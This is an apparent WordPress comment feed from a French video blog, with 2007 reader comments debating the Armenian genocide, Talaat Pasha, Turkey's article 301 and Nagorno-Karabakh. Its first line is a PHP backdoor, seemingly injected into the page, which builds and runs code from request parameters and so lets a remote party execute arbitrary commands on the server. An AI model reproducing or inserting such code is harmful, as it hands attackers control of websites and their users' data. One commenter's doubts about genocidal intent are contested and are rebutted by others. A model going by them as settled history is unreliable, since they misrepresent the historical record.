if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['779f808d8c20c43908cba936a6f2fef4']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Comments on: [JOUR 3] Taalat Pacha : un héritage polémique http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/ Video Blog Reportage Participatif, live autour du Globe Sun, 15 Jan 2012 20:13:25 +0000 hourly 1 http://wordpress.org/?v= By: bravo http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-3/#comment-3503 bravo Sun, 27 May 2007 10:13:46 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-3503 Tout d'abord grand merci pour le superbe boulot que vous faites. A part celle de l'interview avec l'amie de H.DINK, je n'arrive pas à visualiser les vidéos de la Turquie sur le génocide arménien. Y a-t-il une raison particulière à cela? En vous souhaitant de formidables reportages du Darfour meurtri. Tout d’abord grand merci pour le superbe boulot que vous faites.
A part celle de l’interview avec l’amie de H.DINK, je n’arrive pas à visualiser les vidéos de la Turquie sur le génocide arménien. Y a-t-il une raison particulière à cela?
En vous souhaitant de formidables reportages du Darfour meurtri.

]]>
By: Eléonore http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-3/#comment-2356 Eléonore Tue, 24 Apr 2007 19:02:03 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-2356 Je voulais juste dire qu'il n'y a pas de preuves écrites non plus de la volonté d'Hitler de génocider les Juifs. Néanmoins... Je voulais juste dire qu’il n’y a pas de preuves écrites non plus de la volonté d’Hitler de génocider les Juifs. Néanmoins…

]]>
By: Richard http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-3/#comment-787 Richard Thu, 15 Mar 2007 20:20:02 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-787 Franchement, Deniz, Vous faites un mélange de toutes les notions. Vous metttez au même niveau guerre, massacre, génocide. C'est très facile de faire cela pour noyer le poisson, mais pourtant il faut être précis sur les termes. Les azéris ont commis des pogroms à Bakou, aucun arménien ne dit que c'est un génovide. Il n'y a pas la preuve de plannification. Quant au génocide arménien, il y a des preuves d'une volonté politique de destruction de la population arménienne. Dire le contraire, ce n'est que de la mauvaise foi. Le dialogue dans ces conditions est impossible quand même les faits démontrés ne sont pas acceptés. Franchement, Deniz, Vous faites un mélange de toutes les notions. Vous metttez au même niveau guerre, massacre, génocide. C’est très facile de faire cela pour noyer le poisson, mais pourtant il faut être précis sur les termes.

Les azéris ont commis des pogroms à Bakou, aucun arménien ne dit que c’est un génovide. Il n’y a pas la preuve de plannification.
Quant au génocide arménien, il y a des preuves d’une volonté politique de destruction de la population arménienne. Dire le contraire, ce n’est que de la mauvaise foi. Le dialogue dans ces conditions est impossible quand même les faits démontrés ne sont pas acceptés.

]]>
By: Yériché Gorizian http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-3/#comment-750 Yériché Gorizian Thu, 15 Mar 2007 11:30:38 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-750 Sans atermoyer d'avantage, juste une question à Deniz: Pour vous, y a-t-il eu un génocide des Arméniens? Les arguties sont nombreux et la sémantique est très calquée sur celle de la diplomatie de l'Etat Turc: "comparaison entre le génocide juif et le génocide dit arménien", "le discours dit négationniste des Turcs", "je ne pense pas (il se peut que je me trompe) non plus que la volonté du gouvernement ottoman était d’exterminer les Arméniens", "doit-on oublier les victimes turques et leur douleur" puis vous citez le négationniste Gilles Veinstein... On ne peut resservir à longueur de commentaire, les thèses d'un gouvernement négationniste (avec plus de diplomatie ces derniers mois - on ne dit plus "le génocide est un mensonge" mais "nous en attendons la preuve", alors que celle-ci a été très largement établie) sans cacher ses véritables intentions. Sans atermoyer d’avantage, juste une question à Deniz:

Pour vous, y a-t-il eu un génocide des Arméniens?

Les arguties sont nombreux et la sémantique est très calquée sur celle de la diplomatie de l’Etat Turc: “comparaison entre le génocide juif et le génocide dit arménien”, “le discours dit négationniste des Turcs”, “je ne pense pas (il se peut que je me trompe) non plus que la volonté du gouvernement ottoman était d’exterminer les Arméniens”, “doit-on oublier les victimes turques et leur douleur” puis vous citez le négationniste Gilles Veinstein…

On ne peut resservir à longueur de commentaire, les thèses d’un gouvernement négationniste (avec plus de diplomatie ces derniers mois – on ne dit plus “le génocide est un mensonge” mais “nous en attendons la preuve”, alors que celle-ci a été très largement établie) sans cacher ses véritables intentions.

]]>
By: P'tit loup http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-3/#comment-741 P'tit loup Thu, 15 Mar 2007 10:20:34 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-741 piyaz, vous faites un procès d'intention aux dirigeants européens : l'ancien code pénal turc était un code liberticide datant de la dictature militaire. Il est évident que le premier pas demandé à la Turquie pour accéder à un état d'Etat démocratique était la réforme de ce code même au prix de quelques survivances d'ancien régime (art. 301 à 305 qui sont toujours liberticides et doivent être abrogés) piyaz, vous faites un procès d’intention aux dirigeants européens : l’ancien code pénal turc était un code liberticide datant de la dictature militaire. Il est évident que le premier pas demandé à la Turquie pour accéder à un état d’Etat démocratique était la réforme de ce code même au prix de quelques survivances d’ancien régime (art. 301 à 305 qui sont toujours liberticides et doivent être abrogés)

]]>
By: piyaz http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-3/#comment-728 piyaz Thu, 15 Mar 2007 07:48:46 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-728 Dans cette interview, l'explication de Sali Ozel sur la raison d'être de l'art. 301 du code pénal turc est très intéressante. Donc d'après Sali Ozel qui repred les propos du ministre de la justice turc, les européens savaient très bien que cet article allait être rédigé et qu'en qq sorte c'était la contrepartie des réformes demandées par l'UE. Si cela est vrai, on peut effectivement se poser des questions sur l'honnêté intellectuelle des dirigeants européens qui demandent aujourd'hui l'abrogation de cet article. Mais comme l'a précisé Sali Ozel, l'hypocrisie fait partie intégrante des relations entre Etats. Ce qui est reproché à cet article, c'est la mention de "l'outrage à la TURCITE". La réforme de cet article portera, à mon avis sur la mention de la turcité. On changera l'outrage à la turcité par l'"outrage à la nation" et en définitive, rien n'empêchera de poursuivre les intellectuels dont les propos déplairont aux avocats ultranationalistes et aux procureurs défenseurs zélés de la nation turque. Le débat est ailleurs. Dans cette interview, l’explication de Sali Ozel sur la raison d’être de l’art. 301 du code pénal turc est très intéressante.

Donc d’après Sali Ozel qui repred les propos du ministre de la justice turc, les européens savaient très bien que cet article allait être rédigé et qu’en qq sorte c’était la contrepartie des réformes demandées par l’UE. Si cela est vrai, on peut effectivement se poser des questions sur l’honnêté intellectuelle des dirigeants européens qui demandent aujourd’hui l’abrogation de cet article. Mais comme l’a précisé Sali Ozel, l’hypocrisie fait partie intégrante des relations entre Etats.

Ce qui est reproché à cet article, c’est la mention de “l’outrage à la TURCITE”. La réforme de cet article portera, à mon avis sur la mention de la turcité. On changera l’outrage à la turcité par l’”outrage à la nation” et en définitive, rien n’empêchera de poursuivre les intellectuels dont les propos déplairont aux avocats ultranationalistes et aux procureurs défenseurs zélés de la nation turque.

Le débat est ailleurs.

]]>
By: P'tit loup http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-3/#comment-727 P'tit loup Thu, 15 Mar 2007 07:44:46 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-727 Gilles Veinstein a été sermonné par ses pairs du collège de France pour avoir pris un parti pris idéologique sur un sujet historique dont il n'était pas spécialiste : dans un article commandé par la revue L'Histoire pour son dossier consacré à la déportation des Arméniens en 1915, paru en avril 1995, Gilles Veinstein a expliqué que bien que n'étant pas spécialiste de cet évènement, il a accepté de participer au dossier de la revue L'Histoire … uniquement à cause du contexte du procès Lewis ». Le parlement de l’enclave du Haut Karabach avait voté en faveur de s’unir avec l’Arménie et un référendum a eu lieu durant lequel la vaste majorité de la population de la région a voté en faveur de l'indépendance. La demande d’union avec l’Arménie qui s’est développée vers la fin des années 1980s débuta pacifiquement, mais ensuite, avec la désintégration de l’Union soviétique, le mouvement devint un conflit violent entre les deux groupes ethniques, résultant ainsi à des allégations de nettoyage ethnique par les deux camps Gilles Veinstein a été sermonné par ses pairs du collège de France pour avoir pris un parti pris idéologique sur un sujet historique dont il n’était pas spécialiste : dans un article commandé par la revue L’Histoire pour son dossier consacré à la déportation des Arméniens en 1915, paru en avril 1995, Gilles Veinstein a expliqué que bien que n’étant pas spécialiste de cet évènement, il a accepté de participer au dossier de la revue L’Histoire … uniquement à cause du contexte du procès Lewis ».
Le parlement de l’enclave du Haut Karabach avait voté en faveur de s’unir avec l’Arménie et un référendum a eu lieu durant lequel la vaste majorité de la population de la région a voté en faveur de l’indépendance. La demande d’union avec l’Arménie qui s’est développée vers la fin des années 1980s débuta pacifiquement, mais ensuite, avec la désintégration de l’Union soviétique, le mouvement devint un conflit violent entre les deux groupes ethniques, résultant ainsi à des allégations de nettoyage ethnique par les deux camps

]]>
By: deniz http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-3/#comment-715 deniz Thu, 15 Mar 2007 00:39:52 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-715 Les internautes invités à « démasquer la sémantique de ceux qui défendent la position diplomatique du gouvernement turc concernant la question arménienne » pourraient peut-être, par la même occasion, démasquer celle de ceux qui défendent la position diplomatique du gouvernement arménien et du Président Kotcharian. La comparaison entre le Haut-Karabakh et le Darfour est bien évidemment grotesque, absurde et saugrenue. Tel est le cas, toutefois, s’agissant de la comparaison entre le génocide juif et le génocide dit arménien ; pourtant cela n’empêche pas l’intelligentsia française de rédiger de beaux articles comparatifs. Concernant le Haut-Karabakh Jules Boyadjian parle « d’une guerre gagnée par les Arméniens qui avait été lancée de manière défensive (!) à la suite des Pogroms de Sumagaït notamment ». La similitude entre le discours dit négationniste des Turcs et celui d’une partie des Arméniens est étonnante. (Donc on peut lancer des guerres défensives en cas de menace imminente et déplacer plus de 500 000 personnes). De même, lorsqu’on affirme que l’ancien Président du Parlement arménien Arthur Baghdassaryan a publié un article dans le Wall Street Journal afin d’obtenir « la sympathie des Américains », on n’est pas très loin des nationalistes turcs qui fustigent l’écrivain Orhan Pamuk, qui a publiquement parlé des victimes arméniennes, au nébuleux motif qu’il ferait partie d’une conspiration anti-turc mondiale. Les lacunes démocratiques de la Turquie, la condamnation déplorable de Hrant Dink ne justifient pas le système anti-démocratique et le repli de l’Arménie qui vit sous la tutelle russe. Richard, concernant le Haut-Karabakh, vous dites : « Il ne faudrait pas oublier les pogroms anti-arménien de Bakou en 1988. J’admets une atrocité du coté arménien, c’est les massacres de Khodjalou. Jamais les Arméniens auraient dû faire cela. D’ailleurs les responsables de ce massacre doivent être punis ». Et je suis tout-à-fait d’accord avec vos propos. Mais peut-on parler d’un génocide des Azerbaidjanais ? Je ne le pense pas. Car la volonté, certes pas très louable, des Arméniens n’était pas d’exterminer l’ensemble d’une nation. Et je ne pense pas (il se peut que je me trompe) non plus que la volonté du gouvernement ottoman était d’exterminer les Arméniens, même si en raison de la déportation de nombreux Arméniens, femmes et enfants, ont perdu leur vie et la Turquie une partie de sa richesse et surtout l’amitié d’un peuple talentueux. Cependant, doit-on oublier les victimes turques et leur douleur. A ce propos Gilles Veinstein disait (la revue Histoire, avril 1995) : « il y eut aussi de très nombreuses victimes parmi les musulmans tout au long de la guerre, du fait des combats mais aussi des actions menées contre eux par des Arméniens, dans un contexte de rivalité ethnique et nationale. S’il y a des victimes oubliées, ce sont bien celles-là, et les Turcs d’aujourd’hui sont en droit de dénoncer la partialité de l’opinion occidentale à cet égard. Est-ce parce qu’il ne s’agissait que de musulmans qu’on les néglige, ou bien parce qu’on estimerait implicitement que le succès final de leurs congénères les prive du statut de martyrs ? Quel regard porterions-nous donc sur les mêmes faits, si les choses avaient tourné autrement, si les Arméniens avaient finalement fondé, sur les décombres ottomanes, un Etat durable en Anatolie ? » En parlant des responsables arméniens à punir en raison des massacres commis envers les Azerbaidjanais, je cite une autre réflexion de Veinstein (même texte) : « On a ainsi connaissance de 1 397 cas de condamnations d’agents ottomans pour crimes contre les Arméniens, dont des condamnations à mort. Dans la région de Harput en particulier, où de terribles violences contre les Arméniens étaient commises, selon le témoignage du consul américain Leslie A. Davis, avec l’accord du gouverneur qui affirmait agir sur ordre de la capitale, 233 procès en cour martiale furent intentés contre des officiels ottomans accusés de crimes contre les Arméniens, suivis de condamnations. L’historien hollandais Erik Zürcher propose pour sa part une explication à ces apparentes contradictions : s’il est intimement convaincu de l’implication non du gouvernement mais d’un cercle interne au sein du CUP dans l’extermination, il constate néanmoins qu’il est difficile, sinon impossible de le prouver "au-delà de tout doute" » Finalement, ayant fait une partie de mes études en Turquie, je peux clairement dire que l’on ne m’a jamais inculqué la « haine » anti-arménienne (on a sûrement « adouci » et occulté une partie d’un passé tragique). D’ailleurs, contrairement aux apparences, ni Talat ni ses compagnons ne sont traités comme des héros nationaux pour la simple raison qu’ils sont tenus responsables de la chute de l’Empire. Les internautes invités à « démasquer la sémantique de ceux qui défendent la position diplomatique du gouvernement turc concernant la question arménienne » pourraient peut-être, par la même occasion, démasquer celle de ceux qui défendent la position diplomatique du gouvernement arménien et du Président Kotcharian.

La comparaison entre le Haut-Karabakh et le Darfour est bien évidemment grotesque, absurde et saugrenue. Tel est le cas, toutefois, s’agissant de la comparaison entre le génocide juif et le génocide dit arménien ; pourtant cela n’empêche pas l’intelligentsia française de rédiger de beaux articles comparatifs.

Concernant le Haut-Karabakh Jules Boyadjian parle « d’une guerre gagnée par les Arméniens qui avait été lancée de manière défensive (!) à la suite des Pogroms de Sumagaït notamment ». La similitude entre le discours dit négationniste des Turcs et celui d’une partie des Arméniens est étonnante. (Donc on peut lancer des guerres défensives en cas de menace imminente et déplacer plus de 500 000 personnes). De même, lorsqu’on affirme que l’ancien Président du Parlement arménien Arthur Baghdassaryan a publié un article dans le Wall Street Journal afin d’obtenir « la sympathie des Américains », on n’est pas très loin des nationalistes turcs qui fustigent l’écrivain Orhan Pamuk, qui a publiquement parlé des victimes arméniennes, au nébuleux motif qu’il ferait partie d’une conspiration anti-turc mondiale.

Les lacunes démocratiques de la Turquie, la condamnation déplorable de Hrant Dink ne justifient pas le système anti-démocratique et le repli de l’Arménie qui vit sous la tutelle russe.

Richard, concernant le Haut-Karabakh, vous dites : « Il ne faudrait pas oublier les pogroms anti-arménien de Bakou en 1988. J’admets une atrocité du coté arménien, c’est les massacres de Khodjalou. Jamais les Arméniens auraient dû faire cela. D’ailleurs les responsables de ce massacre doivent être punis ». Et je suis tout-à-fait d’accord avec vos propos. Mais peut-on parler d’un génocide des Azerbaidjanais ? Je ne le pense pas. Car la volonté, certes pas très louable, des Arméniens n’était pas d’exterminer l’ensemble d’une nation. Et je ne pense pas (il se peut que je me trompe) non plus que la volonté du gouvernement ottoman était d’exterminer les Arméniens, même si en raison de la déportation de nombreux Arméniens, femmes et enfants, ont perdu leur vie et la Turquie une partie de sa richesse et surtout l’amitié d’un peuple talentueux.

Cependant, doit-on oublier les victimes turques et leur douleur. A ce propos Gilles Veinstein disait (la revue Histoire, avril 1995) : « il y eut aussi de très nombreuses victimes parmi les musulmans tout au long de la guerre, du fait des combats mais aussi des actions menées contre eux par des Arméniens, dans un contexte de rivalité ethnique et nationale. S’il y a des victimes oubliées, ce sont bien celles-là, et les Turcs d’aujourd’hui sont en droit de dénoncer la partialité de l’opinion occidentale à cet égard. Est-ce parce qu’il ne s’agissait que de musulmans qu’on les néglige, ou bien parce qu’on estimerait implicitement que le succès final de leurs congénères les prive du statut de martyrs ? Quel regard porterions-nous donc sur les mêmes faits, si les choses avaient tourné autrement, si les Arméniens avaient finalement fondé, sur les décombres ottomanes, un Etat durable en Anatolie ? »

En parlant des responsables arméniens à punir en raison des massacres commis envers les Azerbaidjanais, je cite une autre réflexion de Veinstein (même texte) : « On a ainsi connaissance de 1 397 cas de condamnations d’agents ottomans pour crimes contre les Arméniens, dont des condamnations à mort. Dans la région de Harput en particulier, où de terribles violences contre les Arméniens étaient commises, selon le témoignage du consul américain Leslie A. Davis, avec l’accord du gouverneur qui affirmait agir sur ordre de la capitale, 233 procès en cour martiale furent intentés contre des officiels ottomans accusés de crimes contre les Arméniens, suivis de condamnations. L’historien hollandais Erik Zürcher propose pour sa part une explication à ces apparentes contradictions : s’il est intimement convaincu de l’implication non du gouvernement mais d’un cercle interne au sein du CUP dans l’extermination, il constate néanmoins qu’il est difficile, sinon impossible de le prouver “au-delà de tout doute” »

Finalement, ayant fait une partie de mes études en Turquie, je peux clairement dire que l’on ne m’a jamais inculqué la « haine » anti-arménienne (on a sûrement « adouci » et occulté une partie d’un passé tragique). D’ailleurs, contrairement aux apparences, ni Talat ni ses compagnons ne sont traités comme des héros nationaux pour la simple raison qu’ils sont tenus responsables de la chute de l’Empire.

]]>
By: P'tit loup http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-2/#comment-713 P'tit loup Wed, 14 Mar 2007 23:24:11 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-713 Voyez-vous, piyaz, c'est par un tic de langage que je vous ai reconnue (pkoi) : sourire... Voyez-vous, piyaz, c’est par un tic de langage que je vous ai reconnue (pkoi) : sourire…

]]>
By: Jules BOYADJIAN http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-2/#comment-712 Jules BOYADJIAN Wed, 14 Mar 2007 23:09:48 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-712 Les Arméniens de diaspora ont une chance. Ils ne subissent pas le bloccus étouffant conjointement mené par l'Azerbaïdjan et la Turquie. Ils pourraient capituler. Ils ne le font pas. Leur résistance même silencieuse est un SOS vibrant partout dans le monde afin d'interpeler la communauté internationale sur le Génocide. Pour preuve les commémorations du Génocide prennent des tournures gigantesques chaque 24 avril en Arménie. Sans aucun doute l'Arménie et les Arméniens qui y habitent son les premiers défenseurs de la Cause Arménienne et de la reconnaissance du Génocide Arménien. Mais là encore, l'objectif est trop tourné sur les seuls Turcs et Arméniens alors qu'il s'agit d'une situation interpellant la communauté internationale, pour qu'elle-même prenne position, car un Génocide porte en lui une dimension humaine supranationale et que le négationnisme perpétue au delà du temps et de l'espace le Génocide. La reconnaissance ne sera ni stricto-juridique, ni stricto-historique, ni-strico-politique. Elle sera les trois en même temps, et même plus elle doit être humaine et s'inscrire dans la mémoire du monde, car si le devoir de mémoire n'est pas réalisé c'est les générations futures qui risqueraient à nouveau d'être confronté à ce type de crime. Force est de constater que lorsque Hitler frappe les juifs, il bénéficie de l'effet de surprise. Malheureusement la Shoah fut une surprise générale... parce que les enseignements sur le génocide arménien n'ont pas été tiré. Hitler l'avait dit: "Qui se souvient encore du massacre des Arméniens?" Historique, bien sûr, dans la mesure où le crime a été réalisé dans le passé. Mais comme disait Silvie Goulard, justement à propos du Génocide Arménien "La reconnaissance historique a été faite maintenant il faut la reconnaissance politique". Les Historiens ont fait le travail. Bien qu'ils existent des Historiens négationnistes de la Shoah, la reconnaissance du génocide des juifs, est un fait admis de tous, ce qui constitue plus qu'une reconnaissance historique, mais une reconnaissance humaine, qui porte également en elle un aspect juridique, politique, et j'ai envi de rajouté pédagogique. Juridique, elle le sera évidemment puisque la notion même de génocide est une notion juridique, née des études de Lemkin, qui s'appuyait sur le cas arménien et la découverte de la Shoah. Juridique également, car il s'agit depuis les conventions de 1968 d'un crime imprescriptible, qui appelleront donc une repentance de différente manière. Politique, c'est un stade important. Par reconnaissance politique j'entends bien sûr, une reconnaissance entraînant le destin national. La reconnaissance politique donne déjà la possibilité aux populations des Etats qui ont reconnu de saisir toute la complexité du Génocide et d'être en état d'alerte face aux possibles perversions du genre humain. C'est en ce sens que la reconnaissance politique doit être réalisée. Des historiens de par le monde ont reconnu le Génocide Arménien, même des Historiens turcs, ce qui a donné au politique la connaissance pour agir. Tel un bon vieil adage développé par Max Werbé dans le Savant et le Politique, que l'on pourrait résumé par le fait que: le scientifique (en l'occurence l'historien) doit apporté sa connaissance au politique qui est investi de pouvoir légal-rationnel (dans les Républiques) pour agir dans l'intérêt général". C'est ce qui s'est passé dans les Etats ayant reconnu, conscient que l'intérêt national n'était pas celui de l'amnésie artificielle, mais bien au contraire la protection de la mémoire collective. Les Arméniens de diaspora ont une chance. Ils ne subissent pas le bloccus étouffant conjointement mené par l’Azerbaïdjan et la Turquie. Ils pourraient capituler. Ils ne le font pas. Leur résistance même silencieuse est un SOS vibrant partout dans le monde afin d’interpeler la communauté internationale sur le Génocide. Pour preuve les commémorations du Génocide prennent des tournures gigantesques chaque 24 avril en Arménie. Sans aucun doute l’Arménie et les Arméniens qui y habitent son les premiers défenseurs de la Cause Arménienne et de la reconnaissance du Génocide Arménien. Mais là encore, l’objectif est trop tourné sur les seuls Turcs et Arméniens alors qu’il s’agit d’une situation interpellant la communauté internationale, pour qu’elle-même prenne position, car un Génocide porte en lui une dimension humaine supranationale et que le négationnisme perpétue au delà du temps et de l’espace le Génocide.

La reconnaissance ne sera ni stricto-juridique, ni stricto-historique, ni-strico-politique. Elle sera les trois en même temps, et même plus elle doit être humaine et s’inscrire dans la mémoire du monde, car si le devoir de mémoire n’est pas réalisé c’est les générations futures qui risqueraient à nouveau d’être confronté à ce type de crime. Force est de constater que lorsque Hitler frappe les juifs, il bénéficie de l’effet de surprise. Malheureusement la Shoah fut une surprise générale… parce que les enseignements sur le génocide arménien n’ont pas été tiré. Hitler l’avait dit: “Qui se souvient encore du massacre des Arméniens?”

Historique, bien sûr, dans la mesure où le crime a été réalisé dans le passé. Mais comme disait Silvie Goulard, justement à propos du Génocide Arménien “La reconnaissance historique a été faite maintenant il faut la reconnaissance politique”.
Les Historiens ont fait le travail. Bien qu’ils existent des Historiens négationnistes de la Shoah, la reconnaissance du génocide des juifs, est un fait admis de tous, ce qui constitue plus qu’une reconnaissance historique, mais une reconnaissance humaine, qui porte également en elle un aspect juridique, politique, et j’ai envi de rajouté pédagogique.

Juridique, elle le sera évidemment puisque la notion même de génocide est une notion juridique, née des études de Lemkin, qui s’appuyait sur le cas arménien et la découverte de la Shoah. Juridique également, car il s’agit depuis les conventions de 1968 d’un crime imprescriptible, qui appelleront donc une repentance de différente manière.

Politique, c’est un stade important. Par reconnaissance politique j’entends bien sûr, une reconnaissance entraînant le destin national. La reconnaissance politique donne déjà la possibilité aux populations des Etats qui ont reconnu de saisir toute la complexité du Génocide et d’être en état d’alerte face aux possibles perversions du genre humain. C’est en ce sens que la reconnaissance politique doit être réalisée. Des historiens de par le monde ont reconnu le Génocide Arménien, même des Historiens turcs, ce qui a donné au politique la connaissance pour agir. Tel un bon vieil adage développé par Max Werbé dans le Savant et le Politique, que l’on pourrait résumé par le fait que: le scientifique (en l’occurence l’historien) doit apporté sa connaissance au politique qui est investi de pouvoir légal-rationnel (dans les Républiques) pour agir dans l’intérêt général”. C’est ce qui s’est passé dans les Etats ayant reconnu, conscient que l’intérêt national n’était pas celui de l’amnésie artificielle, mais bien au contraire la protection de la mémoire collective.

]]>
By: piyaz http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-2/#comment-711 piyaz Wed, 14 Mar 2007 22:54:56 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-711 woaw mais moi je ne vois pas qui vous êtes p'tit loup woaw
mais moi je ne vois pas qui vous êtes p’tit loup

]]>
By: P'tit loup http://www.blogtrotters.fr/2007/03/14/jour-3-taalat-pacha-un-heritage-polemique/comment-page-2/#comment-710 P'tit loup Wed, 14 Mar 2007 22:49:21 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-3-taalat-pacha-un-heritage-polemique/#comment-710 Sidvicious, je suis peut-être mal placé pour vous répondre mais voici ce que j'en pense : la "diaspora" arménienne regroupe en fait des descendants de rescapés du génocide (400 000 en France ce n'est pas rien). Ils sont donc en premier lieu concernés par le problème et le moindre respect que nous leur devons c'est de les écouter, turcs compris. Les arméniens de l'intérieur (50 à 60 000) ne sont pas tous descendants de rescapés du génocide en particulier si leurs ancêtres vivaient déjà à Istanbul puisque le génocide a eu lieu à l'est et au centre du pays, mais dans tous les cas leur parole n'est pas vraiment libre vu les difficultés à vivre avec leurs voisins comme en témoigne la première interviewée (voire aussi la difficulté dont fait état Tristan a obtenir une interview de leur part). piyaz, vous n'êtes pas boncuk dans une autre vie ? Sidvicious, je suis peut-être mal placé pour vous répondre mais voici ce que j’en pense : la “diaspora” arménienne regroupe en fait des descendants de rescapés du génocide (400 000 en France ce n’est pas rien). Ils sont donc en premier lieu concernés par le problème et le moindre respect que nous leur devons c’est de les écouter, turcs compris. Les arméniens de l’intérieur (50 à 60 000) ne sont pas tous descendants de rescapés du génocide en particulier si leurs ancêtres vivaient déjà à Istanbul puisque le génocide a eu lieu à l’est et au centre du pays, mais dans tous les cas leur parole n’est pas vraiment libre vu les difficultés à vivre avec leurs voisins comme en témoigne la première interviewée (voire aussi la difficulté dont fait état Tristan a obtenir une interview de leur part).
piyaz, vous n’êtes pas boncuk dans une autre vie ?

]]>